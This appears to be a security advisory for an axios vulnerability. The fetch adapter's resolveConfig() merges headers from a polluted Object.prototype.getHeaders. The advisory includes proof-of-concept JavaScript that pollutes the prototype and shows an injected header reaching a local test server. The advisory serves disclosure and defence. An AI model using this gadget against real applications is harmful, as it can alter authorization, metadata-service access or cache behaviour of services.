CVE-2026-101900

Updated on 28 Sep 2026

Severity

6.9 Medium severity

Details

CVSS score
6.9
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Overview

About vulnerability

Summary

Axios contains a guard in the Node HTTP adapter to avoid using an inherited Object.prototype.getHeaders as a FormData header source. The fetch adapter calls the shared resolveConfig() helper before dispatch, and that helper lacks the same guard. If another vulnerability pollutes Object.prototype with FormData-like properties and getHeaders(), the fetch adapter can merge attacker-controlled headers into the outbound request.

Axios does not create the prototype pollution source. This is a read-side gadget in the fetch adapter configuration path.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into fetch-adapter requests. Depending on the target service, this may affect authorization, metadata-service access, cache behavior, conditional request handling, or other application-specific header logic.

Plain objects are blocked by current FormData detection. The confirmed path uses arrays or non-plain class instances whose prototype chain can resolve polluted FormData-like properties.

Affected Functionality

Affected:

  • Fetch adapter requests.
  • resolveConfig() handling of utils.isFormData(data).
  • Request bodies that can be spoofed as FormData through inherited Symbol.toStringTag, append, and getHeaders.

Not affected:

  • Node HTTP adapter’s later FormData header path, which checks data.getHeaders !== Object.prototype.getHeaders.
  • Plain object request bodies rejected by current isFormData() plain-object guard.
  • Processes without prototype pollution.

Technical Details

lib/helpers/resolveConfig.js currently contains:

if (utils.isFormData(data)) {
if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv || utils.isReactNative(data)) {
headers.setContentType(undefined);
} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}
}

Unlike lib/adapters/http.js, this code does not reject Object.prototype.getHeaders. Local verification on axios 1.18.1 polluted Object.prototype[Symbol.toStringTag], append, and getHeaders, then sent an array body with adapter: 'fetch'. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () => ({ 'X-Poisoned': 'yes' });

await axios.post(url, ['a', 'b'], { adapter: 'fetch' });

Expected safe behavior is that inherited Object.prototype.getHeaders is ignored. Current affected behavior merges the returned header.

Workarounds

Use the Node HTTP adapter for server-side requests that may run in a polluted process. Avoid passing array or class-instance bodies through the fetch adapter when prototype pollution is suspected.

<details> <summary><h3>Original report</h3></summary>

Summary

The Node HTTP adapter contains a guard that prevents Object.prototype.getHeaders from being used as a FormData header source. The shared resolveConfig() helper does not have the same guard. The fetch adapter calls resolveConfig(), so it can still merge headers returned by inherited data.getHeaders().

This is a patch mismatch for the FormData prototype-pollution header-injection class.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0

Preconditions

  • Application uses adapter: 'fetch'.
  • A separate prototype-pollution primitive can write:
  • Object.prototype&#91;Symbol.toStringTag&#93; = 'FormData'
  • Object.prototype.append = function () {}
  • Object.prototype.getHeaders = function () { ... }
  • The request body is an array or custom class instance. Plain objects are blocked by the current isFormData() plain-object guard.

Root Cause

lib/adapters/http.js contains:

data.getHeaders !== Object.prototype.getHeaders

But lib/helpers/resolveConfig.js only checks:

} else if (utils.isFunction(data.getHeaders)) {
setFormDataHeaders(headers, data.getHeaders(), own('formDataHeaderPolicy'));
}

The fetch adapter calls resolveConfig(config) before dispatching the request.

Impact

An attacker can inject arbitrary headers into fetch-adapter requests. This may be used to influence internal APIs, metadata services, cache behavior, or application-specific authorization checks.

Proof of Concept

import axios from './index.js';
import http from 'http';

const start = (handler) =&gt; new Promise((resolve) =&gt; {
const server = http.createServer((req, res) =&gt; {
let body = '';
req.on('data', (chunk) =&gt; (body += chunk));
req.on('end', () =&gt; handler(req, res, body));
});
server.listen(0, '127.0.0.1', () =&gt; resolve(server));
});

const stop = (server) =&gt; new Promise((resolve) =&gt; server.close(resolve));

const hits = &#91;&#93;;
const tag = Symbol.toStringTag;

const server = await start((req, res, body) =&gt; {
hits.push({ headers: req.headers, body });
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});

try {
Object.prototype&#91;tag&#93; = 'FormData';
Object.prototype.append = function () {};
Object.prototype.getHeaders = () =&gt; {
const headers = Object.create(null);
headers&#91;'X-Poisoned'&#93; = 'yes';
return headers;
};

await axios.post(`http://127.0.0.1:${server.address().port}/fetch-formdata`, &#91;'a', 'b'&#93;, {
adapter: 'fetch',
timeout: 3000
});

console.log(hits&#91;0&#93;);
} finally {
delete Object.prototype&#91;tag&#93;;
delete Object.prototype.append;
delete Object.prototype.getHeaders;
await stop(server);
}

Observed wire request:

{
"headers": {
"x-poisoned": "yes",
"content-type": "text/plain;charset=UTF-8",
"content-length": "3"
},
"body": "a,b"
}

References


Details

Affected product:
@sats-connect/make-default-provider-config , allure-codeceptjs , allure-js , alpaca-coin-module , appium , appium-base-driver , appium-base-plugin , appium-execute-driver-plugin , appium-fake-plugin , appium-relaxed-caps-plugin , appium-support , appkit , aptos-ts-sdk , axios , blockchain-link-utils , casper-js-sdk , celo-celocli , celo-utils , celo-wallet-base , celo-wallet-hsm , celo-wallet-hsm-azure , celo-wallet-hsm-gcp , celo-wallet-ledger , celo-wallet-local , celo-wallet-remote , codeceptjs , coin-modules , configure , create-strapi , create-strapi-app , developer-tooling , device-sdk-ts , firecrawl , ibm-cloud-sdk-core , izari-filecoin , ledger-live , ledgerhq-client-ids , ledgerhq-coin-algorand , ledgerhq-coin-aptos , ledgerhq-coin-bitcoin , ledgerhq-coin-canton , ledgerhq-coin-celo , ledgerhq-coin-concordium , ledgerhq-coin-cosmos , ledgerhq-coin-framework , ledgerhq-coin-icon , ledgerhq-coin-internet_computer , ledgerhq-coin-mina , ledgerhq-coin-module-boilerplate , ledgerhq-coin-near , ledgerhq-coin-polkadot , ledgerhq-coin-solana , ledgerhq-coin-stacks , ledgerhq-coin-stellar , ledgerhq-coin-sui , ledgerhq-coin-tester , ledgerhq-coin-tester-bitcoin , ledgerhq-coin-tester-solana , ledgerhq-coin-tester-tron , ledgerhq-coin-tezos , ledgerhq-coin-ton , ledgerhq-coin-tron , ledgerhq-coin-xrp , ledgerhq-concordium-core , ledgerhq-context-module , ledgerhq-device-core , ledgerhq-device-management-kit , ledgerhq-device-signer-kit-ethereum , ledgerhq-device-signer-kit-solana , ledgerhq-device-transport-kit-mockserver , ledgerhq-device-transport-kit-node-hid , ledgerhq-device-transport-kit-react-native-hid , ledgerhq-device-transport-kit-web-hid , ledgerhq-domain-service , ledgerhq-hw-app-elrond , ledgerhq-hw-app-eth , ledgerhq-hw-app-exchange , ledgerhq-hw-app-multiversx , ledgerhq-hw-app-near , ledgerhq-hw-app-sui , ledgerhq-hw-transport , ledgerhq-hw-transport-mocker , ledgerhq-hw-transport-node-hid-noevents , ledgerhq-hw-transport-node-speculos , ledgerhq-hw-transport-web-ble , ledgerhq-hw-transport-webusb , ledgerhq-ledger-key-ring-protocol , ledgerhq-live-cli , ledgerhq-live-common , ledgerhq-live-countervalues , ledgerhq-live-countervalues-react , ledgerhq-live-currency-format , ledgerhq-live-network , ledgerhq-live-nft , ledgerhq-live-nft-react , ledgerhq-live-signer-concordium , ledgerhq-live-wallet , ledgerhq-signer-utils , ledgerhq-speculos-device-controller , ledgerhq-speculos-transport , ledgerhq-ui-shared , ledgerhq-wallet-btc , ledgerhq-wallet-pnl , ledgerjs , lerna , mem0-openclaw-mem0 , mem0ai , mendable-firecrawl-js , metamask-accounts , module-federation-core , module-federation-typescript , multiversx-sdk-core , mysten-docs , mysten-enoki , mysten-gcp-kms-signer , mysten-ledger-signer , mysten-ledgerjs-hw-app-sui , mysten-signers , mysten-walletconnect-wallet , mysten-webcrypto-signer , npm:@aptos-labs/aptos-client , npm:@celo/hw-app-eth , nx , nx-angular , nx-cypress , nx-devkit , nx-jest , nx-js , nx-module-federation , nx-vite , nx-web , nx-workspace , reown-appkit , reown-appkit-adapter-bitcoin , reown-appkit-adapter-ethers , reown-appkit-adapter-ethers5 , reown-appkit-adapter-solana , reown-appkit-adapter-wagmi , reown-appkit-common , reown-appkit-controllers , reown-appkit-core , reown-appkit-experimental , reown-appkit-pay , reown-appkit-scaffold-ui , reown-appkit-siwe , reown-appkit-siwx , reown-appkit-ui , reown-appkit-universal-connector , reown-appkit-utils , reown-appkit-wallet , reown-appkit-wallet-button , retry-axios , sats-connect-core , sonarqube-scanner , stellar-stellar-sdk , strapi , strapi-admin , strapi-cloud-cli , strapi-content-manager , strapi-content-releases , strapi-content-type-builder , strapi-core , strapi-data-transfer , strapi-database , strapi-email , strapi-generators , strapi-i18n , strapi-logger , strapi-openapi , strapi-permissions , strapi-plugin-cloud , strapi-plugin-color-picker , strapi-plugin-documentation , strapi-plugin-graphql , strapi-plugin-sentry , strapi-plugin-users-permissions , strapi-provider-email-mailgun , strapi-provider-email-sendgrid , strapi-provider-upload-aws-s3 , strapi-provider-upload-cloudinary , strapi-provider-upload-local , strapi-review-workflows , strapi-strapi , strapi-types , strapi-typescript-utils , strapi-upgrade , strapi-upload , strapi-utils , ton-ton , trezor-blockchain-link-types , trezor-connect-web , trezor-suite , tronwallet-adapter , tronweb , tronweb3-tronwallet-adapter-binance , tronweb3-tronwallet-adapter-bitkeep , tronweb3-tronwallet-adapter-metamask-tron , ts-sdks , x402 , x402-aptos , x402-evm , x402-express , x402-extensions , x402-fastify , x402-hono , x402-mcp , x402-next , x402-paywall , zondax-ledger-filecoin , zondax-ledger-substrate
Affected packages:
axios @ 1.18.1 (+4263 more)

Fixes